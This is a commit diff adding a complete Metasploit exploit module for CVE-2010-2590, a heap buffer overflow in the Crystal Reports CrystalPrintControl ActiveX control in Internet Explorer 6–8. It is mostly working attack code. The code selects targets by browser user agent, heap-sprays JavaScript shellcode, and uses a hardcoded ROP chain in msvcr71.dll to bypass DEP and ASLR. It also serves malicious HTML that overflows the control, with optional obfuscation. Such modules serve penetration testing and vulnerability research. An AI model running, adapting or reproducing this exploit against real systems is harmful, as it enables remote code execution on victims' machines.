1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "8.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => NormalRanking ,
24
+ :classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}" ,
25
+ :method => "ServerResourceVersion"
26
+ } )
27
+
28
+
29
+ def initialize ( info = { } )
30
+ super ( update_info ( info ,
31
+ 'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow" ,
32
+ 'Description' => %q{
33
+ This module exploits a heap based buffer overflow in the CrystalPrintControl
34
+ ActiveX, while handling the ServerResourceVersion property. The affected control
35
+ can be found in the PrintControl.dll component as included with Crystal Reports
36
+ 2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
37
+ and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
38
+ affected ActiveX control, to bypass DEP and ASLR.
39
+ } ,
40
+ 'License' => MSF_LICENSE ,
41
+ 'Author' =>
42
+ [
43
+ 'Dmitriy Pletnev' , # Vulnerability discovery
44
+ 'Dr_IDE' , # PoC
45
+ 'juan vazquez' # Metasploit
46
+ ] ,
47
+ 'References' =>
48
+ [
49
+ [ 'CVE' , '2010-2590' ] ,
50
+ [ 'OSVDB' , '69917' ] ,
51
+ [ 'BID' , '45387' ] ,
52
+ [ 'EDB' , '15733' ]
53
+ ] ,
54
+ 'Payload' =>
55
+ {
56
+ 'Space' => 890 ,
57
+ 'DisableNops' => true ,
58
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
59
+ } ,
60
+ 'DefaultOptions' =>
61
+ {
62
+ 'InitialAutoRunScript' => 'migrate -f'
63
+ } ,
64
+ 'Platform' => 'win' ,
65
+ 'Targets' =>
66
+ [
67
+ # Using jre rop because msvcr71.dll is installed with the ActiveX control
68
+ # Crystal Reports 2008 / PrintControl.dll 12.0.0.683
69
+ [ 'Automatic' , { } ] ,
70
+ [ 'IE 6 on Windows XP SP3' ,
71
+ {
72
+ 'Rop' => nil ,
73
+ 'Offset' => '0x5F4' ,
74
+ 'Ret' => 0x0c0c0c08
75
+ }
76
+ ] ,
77
+ [ 'IE 7 on Windows XP SP3' ,
78
+ {
79
+ 'Rop' => nil ,
80
+ 'Offset' => '0x5F4' ,
81
+ 'Ret' => 0x0c0c0c08
82
+ }
83
+ ] ,
84
+ [ 'IE 8 on Windows XP SP3' ,
85
+ {
86
+ 'Rop' => :jre ,
87
+ 'Offset' => '0x5f4' ,
88
+ 'Ret' => 0x0c0c0c0c ,
89
+ 'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
90
+ }
91
+ ] ,
92
+ [ 'IE 8 on Windows 7' ,
93
+ {
94
+ 'Rop' => :jre ,
95
+ 'Offset' => '0x5f4' ,
96
+ 'Ret' => 0x0c0c0c0c ,
97
+ 'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
98
+ }
99
+ ]
100
+ ] ,
101
+ 'Privileged' => false ,
102
+ 'DisclosureDate' => "Dec 14 2010" ,
103
+ 'DefaultTarget' => 0 ) )
104
+
105
+ register_options (
106
+ [
107
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
108
+ ] , self . class )
109
+
110
+ end
111
+
112
+ def get_target ( agent )
113
+ #If the user is already specified by the user, we'll just use that
114
+ return target if target . name != 'Automatic'
115
+
116
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
117
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
118
+
119
+ ie_name = "IE #{ ie } "
120
+
121
+ case nt
122
+ when '5.1'
123
+ os_name = 'Windows XP SP3'
124
+ when '6.0'
125
+ os_name = 'Windows Vista'
126
+ when '6.1'
127
+ os_name = 'Windows 7'
128
+ end
129
+
130
+ targets . each do |t |
131
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
132
+ print_status ( "Target selected as: #{ t . name } " )
133
+ return t
134
+ end
135
+ end
136
+
137
+ return nil
138
+ end
139
+
140
+ def ie_heap_spray ( my_target , p )
141
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
142
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
143
+
144
+ # Land the payload at 0x0c0c0c0c
145
+ # For IE 6, 7, 8
146
+ js = %Q|
147
+ var heap_obj = new heapLib.ie(0x20000);
148
+ var code = unescape("#{ js_code } ");
149
+ var nops = unescape("#{ js_nops } ");
150
+ while (nops.length < 0x80000) nops += nops;
151
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
152
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
153
+ while (shellcode.length < 0x40000) shellcode += shellcode;
154
+ var block = shellcode.substring(0, (0x80000-6)/2);
155
+ heap_obj.gc();
156
+ for (var i=1; i < 0x300; i++) {
157
+ heap_obj.alloc(block);
158
+ }
159
+ var overflow = nops.substring(0, 10);
160
+ |
161
+
162
+ js = heaplib ( js , { :noobfu => true } )
163
+
164
+ if datastore [ 'OBFUSCATE' ]
165
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
166
+ js . obfuscate
167
+ end
168
+
169
+ return js
170
+ end
171
+
172
+ def get_payload ( t , cli )
173
+ code = payload . encoded
174
+
175
+ # No rop. Just return the payload.
176
+ return code if t [ 'Rop' ] . nil?
177
+
178
+ # Both ROP chains generated by mona.py - See corelan.be
179
+ print_status ( "Using JRE ROP" )
180
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => [ t [ 'Pivot' ] ] . pack ( "V" ) } )
181
+
182
+ return rop_payload
183
+ end
184
+
185
+ def load_exploit_html ( my_target , cli )
186
+ p = get_payload ( my_target , cli )
187
+ js = ie_heap_spray ( my_target , p )
188
+
189
+ # This rop chain can't contain NULL bytes, because of this RopDB isn't used
190
+ # rop chain generated with mona.py
191
+ rop_gadgets =
192
+ [
193
+ 0x7c37653d , # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
194
+ 0xfffffdff , # Value to negate, will become 0x00000201 (dwSize)
195
+ 0x7c347f98 , # RETN (ROP NOP) [msvcr71.dll]
196
+ 0x7c3415a2 , # JMP [EAX] [msvcr71.dll]
197
+ 0xffffffff , #
198
+ 0x7c376402 , # skip 4 bytes [msvcr71.dll]
199
+ 0x7c351e05 , # NEG EAX # RETN [msvcr71.dll]
200
+ 0x7c345255 , # INC EBX # FPATAN # RETN [msvcr71.dll]
201
+ 0x7c352174 , # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
202
+ 0x7c344f87 , # POP EDX # RETN [msvcr71.dll]
203
+ 0xffffffc0 , # Value to negate, will become 0x00000040
204
+ 0x7c351eb1 , # NEG EDX # RETN [msvcr71.dll]
205
+ 0x7c34d201 , # POP ECX # RETN [msvcr71.dll]
206
+ 0x7c38b001 , # &Writable location [msvcr71.dll]
207
+ 0x7c347f97 , # POP EAX # RETN [msvcr71.dll]
208
+ 0x7c37a151 , # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
209
+ 0x7c378c81 , # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
210
+ 0x7c345c30 , # ptr to 'push esp # ret ' [msvcr71.dll]
211
+ ] . pack ( "V*" )
212
+
213
+ # Allow to easily stackpivot to the payload
214
+ # stored on the sprayed heap
215
+ stackpivot_to_spray = %Q|
216
+ mov esp, 0x0c0c0c10
217
+ ret
218
+ |
219
+
220
+ # Space => 0x940 bytes
221
+ # 0x40c: Fill the current CrystalPrintControl object
222
+ # 0x8: Overflow next heap chunk header
223
+ # 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
224
+ bof = rand_text_alpha ( 1044 )
225
+ bof << [ my_target . ret ] . pack ( "V" )
226
+ bof << rand_text_alpha ( 4 ) # trash
227
+ bof << rop_gadgets
228
+ bof << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , stackpivot_to_spray ) . encode_string
229
+ bof << rand_text_alpha ( 0x940 - bof . length )
230
+
231
+ js_bof = Rex ::Text . to_unescape ( bof , Rex ::Arch . endian ( my_target . arch ) )
232
+
233
+ target = rand_text_alpha ( 5 + rand ( 3 ) )
234
+ target2 = rand_text_alpha ( 5 + rand ( 3 ) )
235
+ target3 = rand_text_alpha ( 5 + rand ( 3 ) )
236
+ target4 = rand_text_alpha ( 5 + rand ( 3 ) )
237
+ target5 = rand_text_alpha ( 5 + rand ( 3 ) )
238
+ target6 = rand_text_alpha ( 5 + rand ( 3 ) )
239
+ target7 = rand_text_alpha ( 5 + rand ( 3 ) )
240
+ target8 = rand_text_alpha ( 5 + rand ( 3 ) )
241
+ target9 = rand_text_alpha ( 5 + rand ( 3 ) )
242
+ target10 = rand_text_alpha ( 5 + rand ( 3 ) )
243
+ target11 = rand_text_alpha ( 5 + rand ( 3 ) )
244
+ target12 = rand_text_alpha ( 5 + rand ( 3 ) )
245
+ target13 = rand_text_alpha ( 5 + rand ( 3 ) )
246
+ target14 = rand_text_alpha ( 5 + rand ( 3 ) )
247
+ target15 = rand_text_alpha ( 5 + rand ( 3 ) )
248
+
249
+ # - 15 CrystalPrintControl objects are used to defragement the heap.
250
+ # - The 10th CrystalPrintControl is overflowed.
251
+ # - After the overflow, trying to access the overflowed object, control
252
+ # can be obtained.
253
+ html = %Q|
254
+ <html>
255
+ <head>
256
+ <script>
257
+ #{ js }
258
+ </script>
259
+ </head>
260
+ <body>
261
+ <object id='#{ target } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
262
+ <object id='#{ target2 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
263
+ <object id='#{ target3 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
264
+ <object id='#{ target4 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
265
+ <object id='#{ target5 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
266
+ <object id='#{ target6 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
267
+ <object id='#{ target7 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
268
+ <object id='#{ target8 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
269
+ <object id='#{ target9 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
270
+ <object id='#{ target10 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
271
+ <object id='#{ target11 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
272
+ <object id='#{ target12 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
273
+ <object id='#{ target13 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
274
+ <object id='#{ target14 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
275
+ <object id='#{ target15 } ' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
276
+ <script>
277
+ var ret = unescape('#{ js_bof } ');
278
+ #{ target9 } .ServerResourceVersion = ret;
279
+ var c = #{ target10 } .BinName.length;
280
+ </script>
281
+ </body>
282
+ </html>
283
+ |
284
+
285
+ return html
286
+ end
287
+
288
+ def on_request_uri ( cli , request )
289
+ agent = request . headers [ 'User-Agent' ]
290
+ uri = request . uri
291
+ print_status ( "Requesting: #{ uri } " )
292
+
293
+ my_target = get_target ( agent )
294
+ # Avoid the attack if no suitable target found
295
+ if my_target . nil?
296
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
297
+ send_not_found ( cli )
298
+ return
299
+ end
300
+
301
+ html = load_exploit_html ( my_target , cli )
302
+ html = html . gsub ( /^\t \t / , '' )
303
+ print_status ( "Sending HTML..." )
304
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
305
+ end
306
+
307
+ end
0 commit comments